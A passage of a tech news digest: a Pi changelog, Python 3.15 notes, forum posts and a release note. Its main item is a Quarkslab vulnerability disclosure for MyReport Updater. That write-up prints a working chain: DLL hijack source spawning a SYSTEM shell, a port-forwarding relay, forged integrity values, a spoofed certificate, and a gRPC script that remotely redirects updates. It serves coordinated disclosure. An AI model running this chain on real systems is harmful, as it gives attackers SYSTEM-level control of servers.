  - Changed pi mcp list --json to report resources: true for servers that offer resources instead of resources and resourceTemplates counts; Pi no longer lists resources when connecting (#10526)
  Added
  - Added reachesTools to tool definitions, so tools that reach other tools (such as codemode and tool_search) declare which tools a call may reach; the MCP extension uses it to wait for the servers a call needs and to decide whether a replacement codemode or tool_search tool can reach MCP tools
  - Added aliases to tool namespaces; codemode's describeNamespace() and the namespace option of searchTools() match them, and MCP namespaces use the server name
  - Added per-key OpenRouter model lists: with an OpenRouter key, Pi lists only the chat models that key may use, with the key's context size, max output, and prices, including guardrails and regional endpoints set as the base URL in models.json. The list is saved and used offline (#10353, #10672 by @davidbrai)
  - Added PI_CLIPBOARD_OSC52=1 to send copied text to the terminal with OSC 52 after the local clipboard write, so copies reach a remote client's clipboard when Pi cannot detect the remote session, such as multiplexer attaches from another machine or remote IDE daemons (#10826, #10835, #10114)
  - Added elapsed time while a codemode script runs and its total time once finished to the codemode tool row, like bash rows (#10708)
  Changed
  - Changed the showHardwareCursor setting to use only the terminal cursor instead of also drawing Pi's reverse-video cursor
  - Changed codemode tool declarations to show input constraints such as integer, minimum/maximum, length, pattern, and default as @ tags on property comments, so scripts see them without the tool repeating them in descriptions (#10707)
  - Changed codemode declarations of MCP tools to spell out the result type (content, structuredContent, isError) instead of referring to CallToolResult<T>, which describeTool(), searchTools(), and ALL_TOOLS showed without defining it; the codemode description no longer includes the shared MCP types
  - Changed serializeConversation() (compaction, branch summaries, bug reports) to omit thinking blocks; replayed thinking is often not in the live context, so including it could make a summarization request larger than the context it summarizes and fail
  Fixed
  - Fixed codemode ignoring a // @options: line that is not the first line of the script, which ran the script without the requested timeout_ms; the call now fails with an error before the script runs (#10631)
  - Fixed Mistral streams being aborted mid-generation (e.g. during long thinking) after the request timeout; the timeout now applies only to waiting for response headers (#10609)
  - Fixed a symlinked AGENTS.md in a git worktree nested inside its main repo causing no project context file to load (#10681)
  - Fixed the code mode tool description claiming every failed tool call rejects; a tool that declares an output schema resolves with its value on failure too (e.g. bash with a nonzero exit)
  - Fixed runs started by pi.sendMessage(..., { triggerTurn: true }) removing system prompt sections added in before_agent_start after their first tool call, which changed the prompt mid-run and broke the provider prompt cache twice per run (#10267, #10739 by @davidbrai)
  - Fixed codemode blocking the process for seconds to minutes after scripts with many text() calls; joining the output items was quadratic (#10678)
  - Fixed print mode (-p) exiting 0 without a warning when the final response was cut off at the model's output token limit; it now prints the partial text, writes a warning to stderr, and exits 1 (#10799)
  - Fixed pi mcp login --help and the CLI docs describing --timeout as only the wait for the browser; it limits the whole sign-in (#10636)
  - Fixed ~ not being expanded in !pattern, +path, and -path entries of the extensions, skills, prompts, and themes settings, so entries like !~/skills/pdf matched nothing (#10765)
  - Fixed MCP servers with resources registering no tools until every resource was listed; Pi no longer lists resources when connecting, so /mcp and pi mcp list show that a server offers resources instead of counting them (#10526)
  - Fixed MCP tool calls failing when the server returns structured content that is not an object (an array, null, or a primitive, as MCP 2026-07-28 allows); codemode declarations of MCP tools without an output schema now type structuredContent as unknown instead of an object (#10416)
  - Fixed reading or writing auth.json on Windows failing with EPERM when the previous lock folder was still being deleted; Pi now retries briefly before reporting the error (#10801)
  - Fixed OpenRouter router models such as openrouter/auto showing a cost of -$1,000,000 per 1M tokens; OpenRouter's negative placeholder prices are now 0 (#10672 by @davidbrai)
  - Fixed Anthropic requests failing when the provider rejects the strict tool set for grammar size, tool count, or union limits; Pi now retries once with preferred tools non-strict (#10409)
  - Fixed "The upstream provider returned an error" not being retried as a transient provider error (#10842)
  - Fixed focused fullscreen overlays blocking mouse-wheel scrolling of the transcript (#10769)
  - Fixed fragmented terminal color replies leaking hex values into the prompt and opening the external editor (related reports: #10256, #10657)
  - Fixed inline images not rendering in Herdr since 1.1.0 (#10774 by @ogulcancelik)
  - Fixed key bindings that name a shifted symbol, such as + or ctrl++, not matching under the Kitty keyboard protocol or modifyOtherKeys (#9880 by @christianklotz)
  - Fixed the compaction status indicator embedded in a custom editor using the default muted colors instead of the editor border or thinking-level color, as the working indicator does (#10809, #10810 by @Jay-Madden)
  - Fixed MCP tool calls that were cancelled or timed out while waiting for an OAuth refresh still being sent to the server once the refresh finished (#10598)
  - Fixed MCP OAuth sign-in accepting an authorization response with an iss parameter that could not be checked because no authorization server metadata was discovered; sign-in now fails with an issuer mismatch. Reported by @AizenvoltPrime
  - Fixed codemode failing with a broken bridge error when Pi runs under node --watch on Node 24 or 26 (#10725)
  Removed
  - Removed the unreleased experimental server, client, and plugin stack (src/experimental, src/cli/experimental) and its source-only ./client and ./experimental/plugin exports; none of it was part of the published package. The @earendil-works/pi-client, @earendil-works/pi-protocol, and @earendil-works/pi-server packages it used are removed and no longer released
  - Removed the dependency on @earendil-works/chord
4. 🔗 Quarkslab's blog MyReport Updater: From gRPC to SYSTEM rss
  Introduction During an assumed breach assessment, we were in a position where we had to find a way to elevate our privileges on a Citrix server. And what's the easiest way to do that on an up-to-date server? ~~Find a Windows 0day with Claude~~ Take a look at third-party applications running on the target! The application "My Report Updater" quickly got our attention: a user-level manager communicates over gRPC with a service running as LocalSystem. A service that downloads modules and writes them to disk. This is a good place to look for bugs. I reviewed version 2.1.1 in a Windows environment. The service accepted gRPC requests on TCP port 9095. The manager could select a reference server and an installation directory. I ended up with the following chain: Point "MyReport Updater" at an attacker-controlled reference server. Provide a modified "MyReport module" archive. Return the MD5 value and file size expected for that modified archive. Ask the LocalSystem service to install the archive in a chosen directory. Place a DLL where a privileged process loads it. The result in the tested environment was code execution as NT AUTHORITY\SYSTEM. While testing the chain, I found that the gRPC service listened on all interfaces and I could call its UpdateConfigReferent method from another host without authentication. The request changed the reference host, port, and operating mode of the target. This post goes through findings and exploitation for both LPE and RCE vulnerabilities. TLDR: An LPE and an unauthenticated RCE have been found. Pre-requisites for RCE are network access to TCP port 9095 and egress traffic from the updater to the attacker-controlled infrastructure. Description MyReport is a Business Intelligence platform that centralizes data, automates reporting, and creates dashboards for analysis and decision-making. It was installed in Managed mode on the Citrix server available during the assessment. The solution includes the main software, an updater, and several modules. The modules can be installed with MyReport Updater. The official description of MyReport Updater states that its goal is to make MyReport deployment and updates easier. It contains: a Windows service named MyReportUpdaterService, running as LocalSystem; an Updater Manager application used to control the service from a GUI or command line; a MyReport Updater.msi file used to install these components. The analysis showed that UpdaterManager.exe communicates with MyReportUpdaterService over gRPC on TCP port 9095. The configuration can be changed to use any reference server. This server contacts the MyReport servers and forwards updates. MyReport Updater architecture in Managed mode. Impact An attacker with standard user privileges can set an arbitrary reference server. If MyReportUpdaterService can contact this server over gRPC on TCP port 9095, the attacker can write files into a chosen directory with NT AUTHORITY\SYSTEM privileges. The attacker can use this file-write access to place a DLL that will be loaded by a privileged process. The DLL code is then executed with high privileges. This vulnerability gives full control of the Citrix server. It can also affect other machines where the vulnerable MyReport solution is installed. SYSTEM is the highest local privilege level on Windows. Exploitation We created a proof of concept on the Citrix server. The proof changes the reference server to one controlled by the attacker, bypasses the integrity checks for downloaded files, and writes files into an arbitrary directory. The proof was developed and tested against "MyReport Updater" version 2.1.1. Updater Manager version. We first installed MyReport in a local virtual machine. This allowed us to monitor the actions performed by the solution. The MyReportUpdaterService service runs as LocalSystem, also displayed as NT AUTHORITY\SYSTEM on an English Windows system. The service runs as NT AUTHORITY\SYSTEM. The service listens on TCP port 9095. The service listens on TCP port 9095. The UpdaterManager.exe and UpdaterManagerDesktop.exe processes communicate with TCP port 9095. Network traffic between the updater and the service. Wireshark identified the traffic as gRPC. gRPC traffic identified with Wireshark. The UpdaterService.exe process communicates over TCP port 443. TLS requests contain the updater.myreport.fr domain in the Server Name Indication field. TLS packet containing updater.myreport.fr in the SNI field. These observations show that programs running with standard privileges communicate with a service running with high privileges. The service also sends HTTPS requests to a vendor server. Module installation actions are started from UpdaterManager.exe, but the service downloads the files and writes them to the system. The service installs the module files. The following programs communicate with the privileged service: C:\Program Files (x86)\MyReport\MyReport Updater\manager\UpdaterManagerDesktop.exe, the GUI; C:\Program Files (x86)\MyReport\MyReport Updater\manager\UpdaterManager.exe, the CLI. The CLI provides more features than the GUI. For example, it can change the client mode to Referent, Customized, Managed, or UnManaged. This changes how installation packages are retrieved. This feature is restricted in the GUI, but not in the CLI. Changing the configuration and reference server. The exploitation scenario is: Change the reference server on the Citrix machine to a server controlled by the attacker. Download and modify the MyReport installation files. Serve updates containing arbitrary code. Internet traffic to TCP port 9095 was blocked in the tested environment. Internal traffic to this port was not blocked. We could run commands on the internal machine XXXXXX29, so we used it as a relay with this rule: netsh interface portproxy add v4tov4 listenport=9095 listenaddress=192.168.23.180 connectport=80 connectaddress=X.X.X.X All traffic received on TCP port 9095 of the relay was forwarded to a server controlled by us on TCP port 80. This traffic was then forwarded again to a virtual machine running MyReport in Referent mode. Internet traffic to TCP ports 80 and 443 was allowed from the relay machine. The MyReport configuration was changed to replace the existing reference server with the relay machine. At this point, no option was available to change the reference-server port, so the relay was required. The port was changed later with a custom gRPC request. This is described in Remote code execution. That method removes the need for the internal relay and bypasses the internal firewall restriction used in the first proof. The reference server was changed to the relay machine. We then downloaded the ZIP archives containing the MyReport modules. PS C:\ProgramData\MyReport\Updater\Downloaded> updatermanager.exe add --products administrator --version 6.0.0 --serverPlatform x64 PS C:\ProgramData\MyReport\Updater\Downloaded> dir *6.0.0* Directory: C:\ProgramData\MyReport\Updater\Downloaded Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/20/2025 5:56 PM 90624414 Administrator.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:58 PM 90618677 Administrator.6.0.0.AnyCPU.zip.back -a---- 10/20/2025 4:58 PM 79350416 Builder.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:58 PM 3918325 BuilderAddIn.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:59 PM 3918492 BuilderAddIn.6.0.0.x86.zip -a---- 10/20/2025 4:59 PM 168894332 Center.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:58 PM 83223602 Data.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:58 PM 67596139 Datarun.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:58 PM 69279419 Messenger.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:59 PM 45836173 MyReport.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:58 PM 74031349 Page.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:58 PM 213429259 Server.6.0.0.AnyCPU.zip -a---- 10/20/2025 4:59 PM 213382345 Server.6.0.0.x86.zip We modified Administrator.6.0.0.AnyCPU.zip and added HID.dll at the root of the archive. The payload was added to the ZIP archive. When loaded, the DLL checks whether the current user is NT AUTHORITY\SYSTEM by comparing its SID. If the check succeeds, it starts cmd.exe. // Launches cmd.exe if loaded into a process running as SYSTEM. #include "pch.h" #include <memory> void DoIt() { HANDLE hToken = GetCurrentProcessToken(); DWORD infoSize; GetTokenInformation(hToken, TokenUser, NULL, 0, &infoSize); auto buffer = std::make_unique<char[]>(infoSize); if (!GetTokenInformation(hToken, TokenUser, buffer.get(), infoSize, &infoSize)) { return; } _TOKEN_USER* tokenUser = (_TOKEN_USER*)buffer.get(); if (!IsWellKnownSid(tokenUser->User.Sid, WinLocalSystemSid)) { return; } STARTUPINFO startupInfo; memset(&startupInfo, 0, sizeof(startupInfo)); PROCESS_INFORMATION processInfo; memset(&processInfo, 0, sizeof(processInfo)); wchar_t commandLine[] = L"cmd.exe"; if (!CreateProcess(NULL, commandLine, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo)) { return; } } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DoIt(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } The goal was to write the DLL to: C:\Program Files\Common Files\microsoft shared\ink osk.exe, the Windows On-Screen Keyboard, loads this DLL. The program is available from the secure desktop opened with Ctrl+Alt+Delete. It is started by WinLogon with NT AUTHORITY\SYSTEM privileges. The reference server performs an integrity check using the MD5 digest and size of Administrator.6.0.0.AnyCPU.zip. This information is then returned to the updater. The gRPC requests sent by the reference server to updater.myreport.fr show how these values are retrieved. Retrieving information for the integrity check. The decompiled code of MyUpdaterService.RPC.Client.dll confirms that these checks are present. Fields in the ProductInformation class. Traffic to updater.myreport.fr was intercepted on the reference server controlled by us. It was redirected to a tool created during the assessment. This tool returned the correct MD5 digest and size for the modified archives. The tool worked as a gRPC and TLS man-in-the-middle server. It forwarded requests to the vendor server and modified the responses. It ran on another server. The /etc/hosts file on the reference server was changed so that updater.myreport.fr resolved to the address of the gRPC tool. Traffic for updater.myreport.fr was redirected to the gRPC tool. The updater could not connect to the gRPC tool with a self-signed certificate. It returned this error: The remote certificate is invalid according to the validation procedure: RemoteCertificateNameMismatch, RemoteCertificateChainErrors Source: System.Private.CoreLib Exception type: System.Security.Authentication.AuthenticationException The error showed a problem with the domain names in the certificate. We reproduced the certificate information from updater.myreport.fr and used it with the gRPC tool. A certificate can also be generated for Nginx with the following configuration: tee /etc/nginx/certs/myreport.cnf > /dev/null <<'EOF' [ req ] default_bits = 2048 prompt = no default_md = sha256 req_extensions = req_ext distinguished_name = dn [ dn ] C = FR O = MyReport Local Proxy CN = *.myreport.fr [ req_ext ] subjectAltName = @alt_names [ alt_names ] DNS.1 = *.myreport.fr DNS.2 = myreport.fr [ v3_ca ] subjectKeyIdentifier = hash authorityKeyIdentifier = keyid:always,issuer basicConstraints = CA:TRUE EOF The updater expects the MD5 digest and file size in a specific format. The following PowerShell commands, also available in get_hash_and_size.ps1, generate these values: $f = "C:\ProgramData\MyReport\Updater\Downloaded\Administrator.6.0.0.AnyCPU.zip" Write-Host "### Hash ###" [Convert]::ToBase64String([byte[]](-join ((Get-FileHash $f -Algorithm MD5).Hash -split '(..)' | Where-Object {$_} | ForEach-Object {[char][Convert]::ToByte($_,16)})).ToCharArray()) Write-Host "### Size ###" $s=(Get-Item $f).Length;-join ($(while($s-gt0x7F){-bor0x80);$s=$s-shr7};[byte]($s-band0x7F))|%{'\x{0:x2}'-f$_}) The result for the modified archive was: ### Hash ### gIYMdbsrrZZx+ntRYhDu2g== ### Size ### \x9e\xa3\x9b\x2b After obtaining the integrity-check values, we started the module installation with this command: UpdaterManager.exe add --installLocation "C:\Program Files\Common Files\microsoft shared\ink" --products Administrator --version 6.0.0 --serverPlatform x64 --NoInstallIIS --force The gRPC man-in-the-middle tool received the responses from updater.myreport.fr. It replaced the MD5 digest and file size before returning the responses to the reference server. The responses from updater.myreport.fr were modified. At the end of the installation, the following file was present on the Citrix machine: C:\Program Files\Common Files\microsoft shared\ink\HID.dll We pressed Ctrl+Alt+Delete to open the secure desktop. We then selected the On-Screen Keyboard from the options in the lower-right corner. The DLL was loaded and a command prompt opened with NT AUTHORITY\SYSTEM privileges. Command prompt running as NT AUTHORITY\SYSTEM. Remote code execution
  
  We later found that a custom gRPC request could remotely change the configuration mode of a machine running "MyReport Updater". A Python script, grpcmanual.py, was created to automate this request.
  
  The target machine used in this test had the IP address 172.16.200.134.
  
  Initial configuration of the target machine.
  
  From another machine, the attacker can remotely change the mode, port, and address used by the target.
```
$ python3 grpcmanual.py -h
usage: grpcmanual.py [-h] [--target TARGET] [--target-port TARGET_PORT] --host HOST --port PORT [--mode {0,1,2,3}]

UpdateConfigReferent via gRPC

options:
  -h, --help            show this help message and exit
  --target TARGET
  --target-port TARGET_PORT
  --host HOST
  --port PORT
  --mode {0,1,2,3}      0: Customized, 1: Managed, 2: UnManaged, 3: Referent
```
  The host address in the following command is only an example. It confirms that the mode, address, and port are changed on the target.
```
$ python3 grpcmanual.py --host 8.8.8.8 --port 443 --mode 1 --target 172.16.200.134
[+] Configuration:
 - Target: 172.16.200.134:9095
 - Host: 8.8.8.8
 - Port: 443
 - Mode: Managed
[+] Message (18 bytes): 0a100a090a07382e382e382e3810bb031801
[+] SUCCÈS!
[+] Reponse (56 bytes): 12360a090a07382e382e382e3810bb031801222464333535333066372d326637332d343731662d623030302d346632326632383234663431
```
  The target configuration was changed remotely.
  
  The previous demonstrated LPE vulnerability can therefore be exploited remotely. It allows unauthenticated remote code execution with SYSTEM privileges.
  
  Disclosure timeline
  
  Below we include a timeline of the relevant events during the coordinated vulnerability disclosure process with the intent of providing transparency to the whole process and our actions. This list is not exhaustive.
  - 2025-11-04: Quarkslab was contacted by MyReport requesting information about a vulnerability we reported to a mutual customer. A conference call is held to discuss the matter.
  - 2025-11-05: Quarkslab notifed MyReport that a technical report was being prepared. MyReport provided a GPG public key to encrypt the report.
  - 2025-11-12: Quarkslab sent the technical report and asked the vendor to acknowledge it.
  - 2025-11-20: Quarkslab asked for confirmation that the report was received and could be read.
  - 2025-12-08: Quarkslab asked for an update.
  - 2025-12-09: Quarkslab informed the vendor that a 90-day embargo period would be set and asked for a timeline for producing a fix, validate it and public release.
  - 2026-02-06: Quarkslab requested an update and informed the vendor that in absence of response the report will be forwarded to CERT-FR to coordinate disclosure with them in order to inform affected users.
  - 2026-02-06: Our mutual customer indicated that the vulnerability should be disclosed since it is exploitable and users are at risk.
  - 2026-02-09: MyReport acknowledged the technical report and said their engineers were working on a comprehensive analysis of the problem. Their goal was to provide a response before March 8th and said that they would contact Quarkslab if they needed further information.
  - 2026-02-16: MyReport asked to organize a meeting to present and discuss their action plan.
  - 2026-02-24: Quarkslab proposed dates and times for a meeting with the vendor and our mutual customer. Our mutual customer delegated follow up to Quarkslab.
  - 2026-03-03: Videoconference between Quarkslab and MyReport to coordinate the action plan.
  - 2026-03-18: Quarkslab notified the vendor that we have not received a timeline for the fixes, as agreed in the past videoconference.
  - 2026-03-19: MyReport indicated that the timeline would be sent the next week. Signing of the update packages was being finished.
  - 2026-03-30: Quarkslab sent email to MyReport indicating that over the past 4 months we've repeatedly requested a remediation roadmap, which the vendor commited to provide but did not deliver. The original 90-day embargo period had expired and our mutual customer remained exposed. Told the vendor that CERT-FR would be notified and the disclosure date was set to April 3th, 2026. If, by then, the vendor provided a roadmap with firm delivery dates the disclosure date could be reconsidered.
  - 2026-04-02: MyReport replied with a remediation roadmap that included release of fixes at the end of Q2-2026 and re-architecture of the service and release of the new architecture at the end of Q3-2026. Quarkslab agreed to postpone publication to end of Q2-2026.
  - 2026-07-09: To coordinate diclosure to potentially affected users, Quarkslab contacted CERT-FR and provided the technical report and a summary of the disclosure timeline so far.
  - 2026-07-21: CERT-FR acknowledged the report and requested a brief summary of the discussion with the vendor so far and some information about the circunstances of the discovery of the vulnerability.
  - 2026-08-03: Quarkslab sent the requested information to CERT-FR and notified them that the vendor provided a roadmap for fixes in April and that Quarkslab had prepared a blog post describing the vulnerability.
  - 2026-08-03: CERT-FR acknowledged the information provided by Quarkslab and requested further details about the vendor's roadmap, asked for the vendor's point of contact and indicated we should continue coordinating with the vendor but keep them informed.
  - 2026-08-11: Quarkslab informed CERT-FR of the prior communications with MyReport, provided their point of contact and explained they are a french vendor whose software is used by their customers and other vendors. Noted that disclosure was now planed for early September and said dissemination of the information within a reasonable timeframe was important.
  - 2026-08-11: Quarkslab sent email to MyReport saying the end of Q2 deadline for the release of fixes passed and we had not received any notification about it. Notified them that CERT-FR was informed of the vulnerability and requested information about release of patches, affected and fixed versions and their deployment schedule.
  - 2026-08-17: CERT-FR acknowledged our last email and indicated they were aligned with the coordinated process so far.
  - 2026-08-24: CERT-FR contacted the vendor and asked for an update on the remediation process.
  - 2026-09-10: MyReport replied with a new designated point of contact for the coordination and provided an update on the remediation plan. Three tasks were already completed and another one was being implemented. The release of fixes was planed for "mid October".
  - 2026-09-10: Quarkslab asked if there was a specific date for the "mid October" release and if customers would be notified of it with a security advisory or any other security-specific communication.
  - 2026-09-14: MyReport informed that the new release was scheduled to October 13th, 2026 and the security fixes would be informed in the Release Notes.
  - 2026-10-02: CERT-FR acknowledged receiving the communication from MyReport and asked Quarkslab for our publication date.
  - 2026-10-13: This blogpost is published.
  References
5. 🔗 hacker news ida pro references New comment by RachelF in "Reverse engineer anything with agents, from app behavior down to native binaries" rss
  
  It will be interesting to see if anyone reverse engineers IDA Pro!
6. 🔗 r/LocalLLaMA Once again anthropic doing free marketing for open weight models rss
  
  | submitted by /u/kubblegum
  [link] [comments]
  ---|---
7. 🔗 hacker news ida pro references New comment by eskibars in "Ask HN: Is there any defense against LLM-based reverse engineering?" rss
  
  I don't think anything new here is actually all that novel: the only thing that's changed is there used to be more of a skills and time gap than there is now.
  IANAL, but I've worked with a lot of lawyers in my life on software licenses on technical products and am also currently building a platform (ZeroQuarry) which uses some decompilation/disassembly tools (not for rebuilding source software, but rather to find underlying vulnerabilities).
  Tools for reverse engineering have existed for a long time (Ghidra, IDA Pro, cavaj, and a bunch of other language-specific tools), which is why most commercial companies producing non-OSS executables have put in caveats that you can't "reverse engineer or decompile, decrypt, disassemble or otherwise reduce the Software to human-readable form".
  Some of these tools and underlying source code/compilation mechanisms required more skill/time than others, and now with AI, just like in software development, multimedia creation and editing, etc, the barrier to entry and the skills needed to produce something have collapsed to the point that many novices can at least "get started" at virtually no cost. A lot of people on the "builder" side have reached for obfuscation to make it more difficult (a suite of tools has been available there for a long time as well), but all that does is raises the cost of decompilation, and that cost is on an exponentially decreasing cost curve: it was never really a viable defense against "advanced" actors: the only defense against them was legal guards.
  To me, I think the more interesting legal conundrum we're entering isn't pure decompilation/deobfuscation/disassembly, but rather the "clean room" carve out. Several big tech companies (Compaq vs IBM, NEC vs Intel, etc) have gotten away with using 1 team to decompile a piece of code and then have that team write a spec for a clean-room team to re-implement without looking at the decompiled software. That was deemed legal over several court cases, and now it's effectively trivial as well. Or just have an AI with vision capabilities click every button in a UI, see how they work, build the spec from there, and you don't even need decompilation tools, as we're now seeing with the Adobe suite of products: https://getartcraft.com/apps and many others
  I honestly can't think of a real protection for these companies/products except signed/encrypted software at the lowest level, but that only protects companies against non-interactive software (or the non-interactive components). Some people might be old enough to remember that some software used to ship with physical devices that were the physical keys used to allow encrypted software to run. Maybe some of that makes a return?
8. 🔗 r/LocalLLaMA It's been 2 months rss
  
  | submitted by /u/Comfortable-Rock-498
  [link] [comments]
  ---|---
9. 🔗 Simon Willison Hello Python 3.15, goodbye 3.10, and now I can use 3.11 rss
  Python 3.15 is here! Here's the essential What's new in Python 3.15 guide, this year curated by 3.14 and 3.15 release manager Hugo van Kemenade. As someone who builds open source software that works in every supported Python version, I get to say goodbye to Python 3.10 and start embracing features from Python 3.11.
  
  First, some highlights from Python 3.15.
  
  Explicit lazy imports
  
  I'm most excited about Explicit lazy imports from PEP 810. These let you import modules like so:
```
lazy import json
lazy from pathlib import Path
```
  The module will then be imported the first time those symbols are used in the code that follows.
  
  My LLM CLI tool implements plugins. I had to recommend manual lazy imports in the plugin author documentation, because simply installing plugins that used heavy dependencies such as sentence_transformers could add multiple seconds to every invocation of the llm command. Lazy imports directly address this startup cost.
  
  Unpacking in comprehensions
  
  The new [*sublist for sublist in lists] unpacking syntax is neat. Here's an illustration lifted from the documentation:
```
lists = [[1, 2], [3, 4], [5]]
[*L for L in lists]
# [1, 2, 3, 4, 5]
# equivalent to [x for L in lists for x in L]

sets = [{1, 2}, {2, 3}, {3, 4}]
{*s for s in sets}
# {1, 2, 3, 4}
# equivalent to {x for s in sets for x in s}

dicts = [{'a': 1}, {'b': 2}, {'a': 3}]
{**d for d in dicts}
# {'a': 3, 'b': 2}
# equivalent to {k: v for d in dicts for k,v in d.items()}
```
  PEP 798: Unpacking in Comprehensions by Adam Hartz and Erik Demaine proposed this as an extension of the unpacking syntax from PEP 448, which landed in Python 3.5 back in 2015.
  
  A sampling profiler
  
  Python's existing tracing profiler has been renamed from cProfile to profiling.tracing, and has been joined by an exciting new sampling profiler called Tachyon, aka profiling.sampling.
  
  Sampling profilers work by periodically capturing stack traces from running processes, then using those to calculate which functions have the most time spent inside of them. They're very low overhead and can provide a deep insight into running systems, without needing to instrument those systems first.
  
  I've previously used tools like py-spy for this. Now this capability is baked into the standard library.
  
  If you have the PID of an existing Python 3.15 process you can start gathering samples by running this (I had to use sudo on macOS):
  sudo uv run --python 3.15 python -m profiling.sampling attach 1234
  Interact with the main program a bit, then hit Ctrl+C to stop gathering and see a report, which looks something like this:
  
  It can also produce flame graphs like this and heat maps like this, and can even output a format that can be viewed in the Firefox profiler UI.
  
  3.15 isn't much faster than 3.14
  
  Miguel Grinberg investigated How fast is Python 3.15? the other day against the 3.15.0rc3 release and found performance to be mostly the same as 3.14, with the exception of the experimental JIT. The JIT gave a 1.2x boost over the standard 3.15 interpreter (on a Fibonacci test), the first time Miguel observed a meaningful JIT performance increase.
  
  Miguel's explorations of 3.14 last year found significant boosts against Python 3.13 across many more categories.
  
  Upgrading to Python 3.15 with uv
  
  I used the following sequence of commands to get uv to use Python 3.15 on my Mac. First I had to upgrade uv itself to ensure it knew about the new release:
  uv self update
  Then I installed the stable 3.15 release:
  uv python install 3.15
  And told uv that I wanted that to be the default for every uv run command, unless the project itself pinned a different version:
  uv python pin --global 3.15
  Now the following reports 3.15 as the version:
  uv run python --version
  I already have a bunch of tools installed using uv tool install. I reinstalled them to use Python 3.15 like this:
  uv tool upgrade datasette --python 3.15
  Then I can confirm the version like this:
  datasette --get /-/versions.json | jq
  Highlights from Python 3.11
  
  The release of 3.15 means that Python 3.10 (released in 2021) is officially no longer supported.
  
  My policy for my main open source projects is to keep them working in every supported Python version. I can now drop 3.10 and start using features that were introduced in 3.11.
  
  Here's the What's new in Python 3.11 document. I finally get to rely on tomllib being available!
  
  Datasette makes extensive use of asyncio. 3.11 adds TaskGroup and timeout(), and several more new features.
  
  datetime.UTC is a new in 3.11 alias for datetime.timezone.utc.
  
  Python's SQLite support got some significant upgrades in 3.11, including:
  - setlimit() and getlimit() expose a mechanism for setting SQLite runtime limits from Python.
  - create_window_function() lets us create custom window functions in Python, as a class with step(), value(), inverse(), and finalize() methods.
  - blobopen() provides an efficient mechanism for partial reads and writes of large BLOB binary values stored in a SQLite row.
  - You can now call set_authorizer(None) to remove a SQLite authorizer. Datasette had a workaround for this!
  Plus a whole bunch of improvements to Python's typing system.
  
  I plan to land Python 3.11 improvements to a bunch of my projects over the next few weeks. Here's my first Datasette PR removing that set_authorizer(None) workaround.
  
  I've also updated my click-app, datasette-plugin, python-lib, and llm-plugin cookiecutter templates to test against Python 3.11 through Python 3.15.
  
  You are only seeing the long-form articles from my blog. Subscribe to /atom/everything/ to get all of my posts, or take a look at my other subscription options.
10. 🔗 r/LocalLLaMA Qwen released QwenGyre - RL framework for training AI agents on extremely long complex tasks rss
  
  | Introducing QwenGyre, bringing elastic RL to extreme-long-horizon (XLong) agent training. It launches with two core designs: - Elastic Scheduler: reallocates GPUs between rollout & training as demand shifts—live executions never interrupted. Up to 1.85× speedup over Colocate, 1.78× over Async. - Trajectory Processor: turns branching executions (compaction, sub-agents, retries) into prefix-shared trajectory trees with bounded, deduplicated training samples. Partial progress after timeout still gets scored. Scaled to Qwen3.8-2.4T-A95B with ~700K tokens per rollout, QwenGyre lifts NL2RepoBench from 52.5% to 58.5% in 48 steps, cutting end-to-end training time by ~44% vs Async. 🔗 Read the paper: arxiv.org/abs/2609.33848 submitted by /u/ResearchCrafty1804
  [link] [comments]
  ---|---
11. 🔗 backnotprop/plannotator v0.28.17 release
  Follow @plannotator on X for updates
  
  Missed recent releases? Release | Highlights
  ---|---
  v0.28.16 | The Inbox on a phone, a doorbell for new questions, Mark read, step through a thread's files, replies when the asking session ended
  v0.28.15 | Long Inbox threads fold to what is new, "Skipped N questions" replies, Inbox list and sidebar fixes
  v0.28.14 | Agents can replace an earlier question, comment on a guided review in the Inbox, issue numbers link to the repository
  v0.28.12 | Update notices and plannotator update, attach any file to an Inbox message, questions with context, links to attached files
  v0.28.11 | plannotator inbox --help prints a full guide for agents, and the plannotator.ai/inbox install prompt
  v0.28.10 | The Inbox over your tailnet with plannotator inbox --tailscale, images in agent messages load, click anywhere on an attachment tile
  v0.28.9 | Large Inbox messages through plannotator inbox mcp fixed, an Inbox sidebar you can close and resize, Edit Mode in reviews of several files, the new Pi logo
  v0.28.8 | The Plannotator Inbox (preview): messages, questions, files and guided reviews from your agents in one local window
  v0.28.7 | Ask this session keeps your drafts as drafts, image comments survive a reload, hostname check on every server
  v0.28.6 | Ask AI names the lines you selected, reorder quick labels and edit their emoji, Pi fixed-port crash fixed, OpenCode 2 subagent notice fixed
  v0.28.5 | Several files in one review, the plannotator tool on Pi and OpenCode 2, decisions name the exact file, Ask this session reconnects after sleep
  v0.28.4 | Comments come back after the agent edits a file, the agent can list and close its reviews, PR-description feedback no longer dropped, Pi thinking levels
  
  What's New in v0.28.17
  
  A follow-up to 0.28.16: the Inbox now fits iPads and narrow windows, a desktop layout bug from 0.28.16 is fixed, and a Pi crash reported by @vivek- gurung is gone.
  
  iPads and narrow windows
  
  Between a phone and a full desktop window (an iPad held upright, or a browser window around 800 to 1050 pixels wide) an open thread used to be squeezed to about 150 pixels beside the list, with the sender's name running into the time. Now, when the list and a readable thread don't both fit, the thread covers the list with a ‹ Inbox button, the way it does on a phone, and an open decision covers the Decisions list the same way. Keyboard focus moves to ‹ Inbox when the thread opens and back to its row when you return, including when you resize the window across that width. An iPad held sideways keeps the list and the thread side by side, as before. Wide desktop windows are unchanged.
  
  On phones, the file view in landscape is roomier, the Mark read toast is one line, and the smaller controls have 44-pixel tap areas.
  - #1863, #1866
  The reply bar no longer cuts off "Keep open"
  
  In 0.28.16, a thread with a picked answer and an unanswered question needed a reply bar wider than most windows, so "Keep open" was cut off at 1280 and 1440 pixels. The bar now wraps to a second row when it doesn't fit.
  - #1863
  Pi no longer crashes on a decision from a tab left open across /reload
  
